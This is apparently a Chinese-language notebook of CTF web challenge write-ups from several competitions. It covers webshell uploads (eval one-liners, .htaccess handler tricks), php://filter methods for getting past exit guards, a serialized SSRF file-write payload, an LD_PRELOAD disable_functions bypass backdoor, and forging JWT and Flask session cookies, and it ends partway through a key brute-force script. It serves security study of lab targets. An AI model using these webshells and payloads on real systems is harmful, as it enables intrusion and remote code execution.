CTF-WEB

[羊城杯 2020]easycon

1.首先拿到个网页,啥思路都没有。

image-20240919110634271

2.直接dirmap扫,发现index.php,

image-20240919110715995

3,打开后显示 弹窗 eval post cmd,我草一看提示我一句话木马,直接蚁剑连接。

image-20240919110817276

4,一看bbbbbbb.txt 里面一窜

image-20240919110843708

5.仔细看,像是base64编码,而且是/9j开头的,我草这不是base64转图片吗,直接找在线base64转图片网站,记得勾选"加上前缀data:image url",如果你的数据里面少了这头的话

image-20240919111010360

[羊城杯 2020]Blackcat

1.打开源代码:提示我叫我听听歌

image-20240919120253944

2.直接打开歌曲MP3的链接,

image-20240919120350861

3,这题真的狗,打开后竟然再最底下才发现的源码

image-20240919120428057

4,前置知识

image-20240919120519353

通俗的说就是,第一次hash_hmac函数我们把要加密的white—catmonitor设为一个数组即可,那么该函数返回的值就是NULL,而第二个hash_hmac函数因为秘钥那里为空,所以就时没有秘钥了,该函数的返回值只跟要加密的data有关,就是完全由我们可控了。因为源码中的getenv(clendestine)的值我们不知道啊,所以就要这么来逃过啊。

那么我们在本地直接运行

image-20240919121322192

第二个hash_hmac的第二个位置的值可以传我们想执行的命令。最后var_dump得到的值,在通过Black-Cat-Shriff穿进去即可

[羊城杯 2020]easyser

1.打开后显示

image-20240919180840365

2,直接drimap扫描,发现robots.txt文件,打开后他让我去访问star1.php,打开star1.php后显示

image-20240919181103644

image-20240919181116092

4.发现在个框框中输东西image-20240919181200086

出现path传参image-20240919181239104

上面的源码提示我image-20240919181258663

我草啊一看就是ssrf,既然是不安全的那就是http,本地那就是127.0.0.1

我直接image-20240919181401262

然后源代码就报出来了image-20240919181429765

注意这里有个前置知识:file_put_contents利用技巧(php://filter协议)

Round 1

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了。幸运的是,这里的$_POST['filename']是可以控制协议的,我们即可使用 php://filter协议来施展魔法。

#方法一、base64编码

使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。

众所周知,base64编码中只包含64个可打印字符(A-Z a-z 0-9 + /)'='补位,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

最终效果:

img

#方法二、利用字符串操作方法+base64组合拳

除了使用base64特性的方法外,我们还可以利用php://filter字符串处理方法来去除“死亡exit”。我们观察一下,这个<?php exit; ?>实际上是什么?

实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

编写如下测试代码即可查看 php://filter/read=string.strip_tags/resource=php://input 的效果:

echo readfile('php://filter/read=string.strip_tags/resource=php://input');

img

可见,<?php exit; ?>被去除了。但回到上面的题目,我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。

万幸的是,php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原。

最终效果:

img

#方法三、ROT13编码

原理和上面类似,核心是将“死亡exit”去除。<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了:

img

Round 2

<?php
$a = $_POST['txt'];
file_put_contents($a,"<?php exit();".$a);

这种是前后两个变量相同,假设$a可控情况。

这种相同变量的构造方式和不同变量的构造方式思路是大差不差的,都是需要干掉<?php exit();,只不过构造起来相对更复杂一些。

#方法一、base64编码

根据前面介绍的不同变量的构造方法,很容易拓展到相同的变量,同样利用php://filter来构造,反正后面是写入的内容,只要在后面解码的时候把shell解码出来,不需要的东西解码成乱码即可,而Base64构造的话,例如

$a=php://filter/write=convert.base64-decode|PD9waHAgcGhwaW5mbygpOz8+/resource=shell.php

(    <?php phpinfo();?>    base64编码    PD9waHAgcGhwaW5mbygpOz8+      )

构造的shell可以放在过滤器的位置和文件名位置都可以(其他编码有时候会有空格什么的乱码,文件名不一定好用),php://filter面对不可用的规则(一串base64)是报个Warning,绕后跳过继续执行的(不会退出),所以按理说这样构造是“很完美”的。我们看下base-decode哪些字符👇

php//filter/write=convertbase64decodePD9waHAgcGhwaW5mbygpOz8+/resource=shellphp

而默认情况下base64编码是以 = 作为结尾的,所以正常解码的时候到了 = 就解码结束了,即使我们构造payload的时候不用write=,但是在最后获取文件名的时候resource=中的 = 过不掉,所以导致过滤器解码失败,从而报错...

这里用base64编码我还没找到好的方法,待补充...

#方法二、ROT13

rot13编码就不存在base64的问题,所以和前面base64构造的思路一样

$a = php://filter/write=string.rot13|<?cuc cucvasb();?>/resource=shell.php

imgimg

和前面提到的一样,这种方法是需要服务器没有开启短标签的时候才可以使用(默认情况是没开启的:php.ini中的short_open_tag)

#方法三、iconv字符编码转换

通过字符转换把<?php exit();转成不能解析的,这里采用的是UCS-2或者UCS-4编码方式,而我们构造的转成可正常解析的

#echo iconv("UCS-2LE","UCS-2BE",'<?php phpinfo();?>');
?<hp phpipfn(o;)>?

这里用的是UCS-2,当然我们也可以用UCS-4

echo iconv("UCS-4LE","UCS-4BE",'aa<?php phpinfo();?>');
?<aa phpiphp(ofn>?;)

通过UCS-2或者UCS-4的方式,对目标字符串进行2/4位一反转,也就是说构造的需要是UCS-2或UCS-4中2或者4的倍数,不然不能进行反转,那我们就可以利用这种过滤器进行编码转换绕过了,构造payload

$a='php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php';

**or**

$a='php://filter/convert.iconv.UCS-4LE.UCS-4BE|xxx?<aa phpiphp(ofn>?;)/resource=shell.php';
#由于是4位一反转,所以需要保证?<aa phpiphp(ofn>?;)之前字符个数是4的倍数,所以补充了 xxx

img

#方法四、iconv字符编码转换+ROT13编码组合拳

和前后不同的变量的利用一样,相同变量一样可以使用组合拳,原因前面描述过了,就不赘述,这里就用UCS-2和rot13举一个例子吧

$a = 'php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=shell.php'
#先将 <?php phpinfo(); ?> 进行rot13得到<?cuc cucvasb();?>
#再对<?cuc cucvasb();?>进行UCS2编码转换得到?<uc cucvcsa(b;)>?
#最后x 补位
#最终得到x?<uc cucvcsa(b;)>?

img

为何不用string.strip_tags呢?因为rot13转换的同样会被strip_tags方法给删除了,而UCS-2或UCS-4构造的也同样会被strip_tags方法给删除,这里需要找其他的编码方式进行构造。

参考:

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://mp.weixin.qq.com/s/BXBe0sviIpjzQb49fk1TCg

EOF

回到正题:

本题的链子是hero的值设为Yongen这个对象,触发__toString,接着触发Yongen类里面的hasaki函数里面的file_put_content()使我们要利用的点file_put_contents(这个位置填php伪协议,这里填我们要写的进文件的内容)。 难点在于出题者前面给我们拼接了一个 ,那我们想方法让他作废

位置一:php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php ,

解释一下: 实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,4

位置二:PD9waHAgZXZhbChcJF9HRVRbJ2NtZCddKTs/Pg==

解释一下该字符串解码后其实就是这个一句话木马,因为前面有strip_tags函数,所以我们必须要将其进行编码,避免也被strip_tags函数干掉,然后convert.base64-decode将其解码,所以最终写进去的内容是,然后我们在用蚁剑去访问http://node4.anna.nssctf.cn:28373/shell.php即可,

本题的exp

image-20240919184018771

payload:?path=http://127.0.0.1/star1.php&c=O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A77%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A40%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%22%3B%7D%7D.

解释:至于这个参数c是怎么来的:通关Arjun阿朱那扫出来的

[FSCTF 2023]签到plus

1.打开dirmap发现shell.php,里面是phpinfo的画面image-20240922191306000

2.一看php版本是7.4.21 php<= 7 . 4 . 21 存在development server源码泄露

3.payload

GET /shell.php HTTP/1.1
Host: node4.anna.nssctf.cn:28528


GET /1 HTTP/1.1

3.在重放器选项中关闭自动更新content-length,将响应包另存为文件打开image-20240922191548138

4发现源码image-20240922191636398

5.接着再用hackbar传参即可

[LitCTF 2024]浏览器也能套娃?

1.image-20240922192913043

2.file伪协议读取本地文件flag

image-20240922192807829

[b01lers 2020]Welcome to Earth

本题思路:一直抓包发现目录,一直访问找到的目录

1。一开始查看源码和访问robots.txt都没有看到可用的信息,但是后来观察到浏览器上多访问了一个目录/die/,于是把它去看看能访问什么

image-20240926151459783

2.用浏览器访问/chase/发现很快又跳转回来,所以用BurpSuite抓包

image-20240926151530182

3、ab3a94085b66b5b88eee45bf23266371

9ece5c79c1374acb6918fad2b8600789

3、访问完/door/的时候,突然就找不到突破口了。这里一直卡了很久。后来看别人的WP才知道要访问这里的/static/js/door.js
在这里插入图片描述

8a0392be7df450af55135a2f8794aa60

2cdba40e763b65b741a5bec963db7e69

6beddd24428b98155dfcf150b5c7bc68

1f54cdac830c351c5e35219a0dd0c622

5ebf5f0a79f024f852ad1478129dbd2c

最后在拼凑这个flag即可

pctf{hey_boys_im_baaaaaaaaaack!}

{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf

pctf{hey_boys_im_baaaaaaaaaack!}

NewStarCTF

week1

过家家(PATCH请求,JWT验证)

第四关

来到这一关后由于 302 跳转可能会变成 GET 请求,再次用 POST 请求(携带新 Cookie)访问,得到提示「Agent」和 Papa,应当想到考查的是 HTTP 请求头中的 User-Agent Header. 题目的要求比较严格,User-Agent 必须按照标准格式填写(参见 User-Agent - HTTP | MDN),因此需携带任意版本号发送一个 POST 请求:

HTTP

POST /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
Content-Type: application/x-www-form-urlencoded
User-Agent: Papa/1.0
Content-Length: 9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6M30.hc4vKSnI5KZxNFjD27qrms3z6TL6LRnF1qSk_t3ohOI

say=hello

此时提示需要将 say 字段改成「玛卡巴卡阿卡哇卡米卡玛卡呣」(不包含引号对 「」),中文需要转义(HackBar 会自动处理中文的转义)。因此最终的报文为:

HTTP

POST /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
Content-Type: application/x-www-form-urlencoded
User-Agent: Papa/1.0
Content-Length: 9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NH0.MDhNM30leuBXKpPLgqDnzmK3Zf2sAGdx8VtGcMf21kU

say=%E7%8E%9B%E5%8D%A1%E5%B7%B4%E5%8D%A1%E9%98%BF%E5%8D%A1%E5%93%87%E5%8D%A1%E7%B1%B3%E5%8D%A1%E7%8E%9B%E5%8D%A1%E5%91%A3

如果使用 Hackbar,配置如下:

第四关

第五关

由于 302 跳转的缘故变成了 GET 请求,我们再用 POST 请求(携带新 Cookie)访问,得到的提示为:

或许可以尝试用修改(PATCH)的方法提交一个补丁包(name="file"; filename="*.zip")试试。

这是要求我们使用 PATCH 方法发送一个 ZIP 文件。

这一关是相对较难的一关,浏览器插件并不支持发送 PATCH 包和自定义文件,必须通过一些发包工具或者写代码来发送该内容。PATCH 包的格式与 POST 无异,使用 Content-Type: multipart/form-data 发包即可,注意该 Header 的值后面需要加一个 boundary 表示界定符。例如Content-Type: multipart/form-data; boundary=abc,那么在 Body 中,以 --abc 表示一个查询字段的开始,当所有查询字段结束后,用 --abc-- 表示结束。

关于 multipart/form-data

这个 Content-Type 下的 Body 字段不需要进行转义,每一个查询内容以一个空行区分元信息和数据(就和 HTTP 报文区分标头和 Body 的那样),如果数据中包含 boundary 界定符的相关内容,可能引起误解,那么可以通过修改 boundary 以规避碰撞情况(因此浏览器发送 mulipart/form-data 的表单时,boundary 往往有很长的 -- 并且包含一些长的随机字符串。

本题只检查文件名后缀是否为 .zip. 因此如此发包即可:

HTTP

PATCH /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
User-Agent: Papa/1.0
Content-Type: multipart/form-data; boundary=abc
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0
Content-Length: 168

--abc
Content-Disposition: form-data; name="file"; filename="1.zip"

123
--abc
Content-Disposition: form-data; name="say"

玛卡巴卡阿卡哇卡米卡玛卡呣
--abc--

返回的内容如下

HTTP

HTTP/1.1 302 Found
set-cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y; Max-Age=86400; Path=/
Location: /?ask=miao
x-powered-by: Hono
Date: Fri, 27 Sep 2024 19:28:30 GMT

通过浏览器开发者工具的「存储」(应用程序 » 存储)选项卡编辑 Cookie,将 Set-Cookie 字段的 token 值应用更新。随后再次携带新 Cookie 刷新网页即可。

第六关

本题提示内容指出了 localhost,意在表明需要让服务器认为这是一个来自本地的请求。可以通过设置 Host X-Real-IP X-Forwarded-For Referer 等标头欺骗服务器。

以下任意一种请求都是可以的。

RefererX-Real-IPX-Forwarded-For

HTTP

GET /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
X-Forwarded-For: 127.0.0.1
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y

注意

如果修改 Host,你需要确保你的 HTTP 报文是发向靶机的。一些工具会默认自动采用 Host 作为远程地址,或者没有自定义远程地址的功能。

随后提示给出了一段话:

PangBai 以一种难以形容的表情望着你——激动的、怀念的,却带着些不安与惊恐,像落单后归家的雏鸟,又宛若雷暴中遇难的船员。

你似乎无法抵御这种感觉的萦绕,像是一瞬间被推入到无法言喻的深渊。尽管你尽力摆脱,但即便今后夜间偶见酣眠,这一瞬间塑成的梦魇也成为了美梦的常客。

「像■■■■验体■■不可能■■■■ JWT 这种■■ Pe2K7kxo8NMIkaeN ■■■密钥,除非■■■■■走,难道■■■■■■吗?!」

「......」

其中提到了 JWT 和 Pe2K7kxo8NMIkaeN,这个数字和字母组成内容推测应当是 JWT 的密钥。JWT 是一个轻量级的认证规范,允许在用户和服务器之间传递安全可靠的信息,但这是基于签名密钥没有泄露的情况下。可以通过 JWT.IO 网站进行在线签名和验证(JWT 并不对数据进行加密,而仅仅是签名,不同的数据对应的羡签名不一样,因此在没有密钥的情况下,你可以查看里面的数据,但修改它则会导致服务器验签失败,从而拒绝你的进一步请求)。

将我们当前的 Cookie 粘贴入网站:

JWT.IO 网站 1

Payload,即 JWT 存放的数据,指明了当前的 Level 为 6,我们需要更改它,将它改为 0 即可。可见左下角显示「Invalid Signautre」,即验签失败,粘贴入签名密钥之后,复制左侧 Encoded 的内容,回到靶机界面应用该 token 值修改 Cookie,再次刷新网页,即到达最终页面。

JWT.IO 网站 2

TIP

修改 level0 而不是 7,是本题的一个彩蛋。本关卡不断提示「一方通行」,而「一方通行」作为动画番剧《魔法禁书目录》《某科学的超电磁炮》中的人物,是能够稳定晋升为 Level 6 的强者,却被 Level 0 的「上条当麻」多次击败。但即使不了解该内容,也可以通过多次尝试找到 Level 0,做安全需要反常人的思维,这应当作为一种习惯。

[CISCN 2019华东南]Web4

一,前置知识

1,

/etc/passwd 用来判断漏洞的存在
/etc/environment 是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key的泄露
/etc/hostname 表示主机名
/etc/issue 指明系统版本
/proc/self/cmdline 当前进程对应的终端命令
/proc/self/pwd 程序运行的目录
/proc/self 环境变量
/sys/class/net/eth0/address  mac地址保存位置

在flask_session_cookie_manager的目录下使用

生成session ,秘钥=hello , 内容为{"username":"lbz"}
python3 flask_session_cookie_manager3.py encode -s 'hello' -t '{"username":"lbz"}'
破解session ,秘钥=hello ,破解的session为以下的字符串
python3 flask_session_cookie_manager3.py decode -s 'hello' -c 'eyJ1c2VybmFtZSI6ImxieiJ9.ZoO6sQ.1qmeqKQDnxZyPqeCWGtw_50wWss'

3.flask-unsign的使用(对于那种随机生成的秘钥,一般解决不了)

这个工具就是个python库,直接随便起一个命令行就能用

破解秘钥并解密,但有局限,毕竟是用过字典来破解
flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6ImxieiJ9.ZoO6sQ.1qmeqKQDnxZyPqeCWGtw_50wWss'

image-20241203214858275

破解秘钥并输出秘钥
flask-unsign --unsign --cookie 'eyJ1c2VybmFtZSI6ImxieiJ9.ZoO6sQ.1qmeqKQDnxZyPqeCWGtw_50wWss'

image-20241203215058996

生成session
flask-unsign --sign --cookie '{"username":"lbz","passwd":"123"}' --secret 'hello'

image-20241203215152131

二,解题

1,打开题目得到此页面

image-20241203164040899

2,点击Read somethings,发现url参数

image-20241203164136420

3,试了试,有点像命令执行,尝试读取/etc/passwd发现有回显

image-20241203164455232

4,尝试用/proc/self/cmdline 读取当前进程对应的终端命令,发现有app.py文件

image-20241203165230726

5,读取app.py

image-20241203165333013

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

审计该脚本,发现

@app.route('/')路由中,session['username']='www-data'

@app.route('/flag')路由中,如果检测到['session']=='fuck',则会输出flag,那么本题的侧重点就在这

在我访问/和/flag时,抓包发现session是加密的

image-20241203170020270

session=eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Z07eJQ.OeG1h76xMI8UG0aF3jhIWcJWGR0

session由两个.分割成三部分,第一部分有base64加密,中间是时间戳,最后面是安全
签名

6,使用flask-session的解密脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)


if __name__ == '__main__':
#下面双引号处填写你的session值    print(decryption("eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Z07eJQ.OeG1h76xMI8UG0aF3jhIWcJWGR0".encode()))
{'username': b'www-data'}   //运行脚本得到解密的session值

7,那么我想让session['username']的值等于fuck,该怎么办,那我得找到秘钥,然后用工具将flask-session-cookie-manager进行加密得到篡改后的session值

(1)密钥的获取源码上有体现

密钥的生成原理
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

(2)uuid.getnode()用于获取mac地址并转换为整数,random.seed()将整数的mac地址作为种子;str(random.random()*233),随机生成一个随机数乘以233,并转换为字符串就变成的SECRET_KEK秘钥

(3)本地编写脚本破解秘钥,注意,题目环境的秘钥实在python2的环境下生成的,那么我也要在本地用pyhon2的环境生成。

import random

mac="02:42:ac:02:4f:28"
nmac=mac.replace(":", "")
random.seed(int(nmac,16))
key = str(random.random() * 233)
print(key)

运行脚本得到
225.643200821

例外:linux下mac地址的位置:/sys/class/net/eth0/address

image-20241203183216517

8,然后修改{'username': b'www-data'}为{'username': b'fuck'}

python flask_session_cookie_manager3.py encode -s '225.643200821' -t "{'username': b'fuck'}"

image-20241203184927832

然后将加密后的session放到bp重发,这会访问/flag就是授权的了

[CISCN 2023 西南]dataapi c3c1ear

一,解题

直接url搜索phpinfo.php,搜索flag即可,这是一个非预期解。以后比赛说不定能遇到

[CISCN 2023 西南]do_you_like_read(awd试题)

一,解题

首先下载处附件

1,在/var/www/database/obs_db.sql发现后台的账号密码(优先看数据库方面的文件,因为里面很可能有账号密码)

image-20241203195932175

2.点击下图,登录后台,admin ,admin123

image-20241203200054645

3,点击Add New Book,

(1)发现文件上传点

image-20241203200533160

(2)结合自己的源码分析漏洞,源码位置可以通过观察网站上的上传点路径去找

image-20241203200746188

admin_add.php的源码如下,存在文件后缀检测,如果为php相关的后缀会将其改为jpg,无论是大小写的。其它后缀不做修改。

4d9a34e9b3fb498e3dd74196262d3c59

那我们可以上传.htaccess配置性文件,让它执行.jpg文件不就行了

上传.htaccess,写入

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

然后再上传1.jpg的一句化木马

<?php @eval($_POST['cmd']);?>

由下图可知文件上传后的路径为bootstrap/img/1.jpg

image-20241204013404232

另外:

其实还可以上传其它php文件,如php3

d09f54c8f1

修补文件上传的漏洞

文件上传那里改成白名单限制

    $ext = pathinfo($image, PATHINFO_EXTENSION);
    if (strtolower($ext) == 'jpg'|| strtolower($ext) == 'png' || strtolower($ext) == 'gif' || strtolower($ext) == 'bmp') {
        $image = $_FILES['image']['name'];
    }
    else {
        $image = pathinfo($image, PATHINFO_FILENAME) . '.jpg';
    }

(3)用D盾扫源码发现后门文件bypass_disable_function

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>
//代码审计一下,
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; 将传进去的$cmd命令输出到$out_path里面(这个路径也是由你控制传参的)
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 该命令把$out_path里面的内容(也就是你$cmd命令的结果)输出来

payload

http://node4.anna.nssctf.cn:28761/bootstrap/test/bypass_disablefunc.php/bootstrap/test/bypass_disablefunc.php?cmd=env&outpath=/tmp/1.txt&sopath=/var/www/html/bootstrap/test/bypass_disablefunc_x64.so

//注意sopath参数得将bypass_disablefunc_x64.so的路径带上,使用putenv函数设置环境变量LD_PRELOAD,其值为sopath参数的值,这通常用于加载共享库。

image-20241205011525328

image-20241205011936349

知识点

env命令
显示环境变量:当你在终端输入env命令并执行时,它会列出当前会话的所有环境变量及其值。
设置环境变量:使用env命令在新的进程中设置环境变量。例如,env NEW_VAR=value 
修改环境变量:env命令还可以修改现有的环境变量。例如,env VAR=value

BUUCTF:[ASIS 2019]Unicorn shop

d667c38ab9d2c4d063957dfc9aab3fa1

功能是一个购物商店,输入商品ID和价钱进行点击购买。

源代码中提醒<meta charset="utf-8">很重要
html使用的是UTF-8编码

33c6802971ba65c1137c8dfe85967b52

id和price都为空点击购买,返回报错及原因

96dafc0e1659f7548c02e467cfaa21cf

从中可以发现源代码是如何处理price
使用的是unicodedata.numeric()

import unicodedata

unicodedata.numeric('1')
1.0
unicodedata.numeric('11')
Traceback (most recent call last):
File "", line 1, in
TypeError: numeric() argument 1 must be a unicode character, not str

unicodedata.numeric('7')
7.0
unicodedata.numeric('17')
Traceback (most recent call last):
File "", line 1, in
TypeError: numeric() argument 1 must be a unicode character, not str

c1223d56f24fd2e7c53fb39f32a9665e

只能输入单个字符,猜测flag就是id = 4、price >= 1337
前端html使用的是utf-8,后端python处理使用的是unicode,编码不一致造成了转码问题

利用这个网站https://www.compart.com/en/unicode
找一下大于单个字符数值化之后1337的

fae40f72a95265ba05620e8692e6140c

e72cb6256ff5789bf99ad85330cb6b98

找到这个字符的UTF-8 Encoding0xF0 0x90 0x84 0xA3
0x替换成%

id=4&price=%F0%90%84%A3

44210caf95d41978e3910b77a61784c1

[fakeadmin](伪造session&flask)

一,打开题目,发现源码

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
print(app.config['SECRET_KEY'])


@app.route('/', methods=["GET", "POST"])
def read_me():
    src = open("app.py", 'rb').read()
    return src


@app.route('/user')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return "Access Denied"
    else:
        flag = open("/flag", 'rb').read()
        return flag

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

二,解题

1.代码审计

一、
os.urandom(2) #该函数生成2个字节长度的随机字符串
.hex()  #将生产的字节串转换为十六进制表示的字符串,这样做的结果是一个4字符长度的字符串(每个字节串转换为2个十六进制字符

假如os.urandom(2)生成的随机字节串是\x12\x34,那么.hex()方法将输出'1234' 。因此,app.config['SECRET_KEY']='1234' ;  其中\x12 表示十六进制的 12,即十进制的 18

二、
/user路由
session['user']=''.join(random.choices("admin",k=5))的解释:random.choices用过'a','d','m','i','n'这5分字符随机组合生产一个随机字符串

三、
本题的切入点就是,你的session.get('user')='admin',那么就可以得到flag

2.破解秘钥

由前面代码审计可知,os.urandom(2).hex()生成的秘钥就是4位的字符,直接爆破

爆破脚本:

import ast
import sys
import zlib
import requests
import warnings

warnings.filterwarnings('ignore')

from itsdangerous import base64_decode

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta
else:  # > 3.4
    from abc import ABC


from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            while True:
                try:
                    app = MockApp(secret_key)

                    session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.dumps(session_cookie_structure)
                except Exception as e:
                    # return "[Encoding error] {}".format(e)
                    continue
                    raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else:  # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            while True:
                try:
                    app = MockApp(secret_key)

                    session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.dumps(session_cookie_structure)
                except Exception as e:
                    # return "[Encoding error] {}".format(e)
                    continue
                    raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e

url = "http://20b239b7-4bf2-4d3b-8d34-e5f3e6e65cc2.gs.thudart.cn/" #change
source_session = requests.Session()
# r = source_session.get(url=url+"/user", verify=False)
# token = r.cookies['session']

proxies1 = {
    'http': 'socks5h://localhost:8088',
    'https': 'socks5h://localhost:8088',
}
r = source_session.get(url=url+"/user", verify=False)
token = r.cookies['session']

sec = ""
for i in range(65535):
    tmp = hex(i)[2:].zfill(4)
    res = FSCM.decode(token, tmp)
    if "Decoding error" not in res:
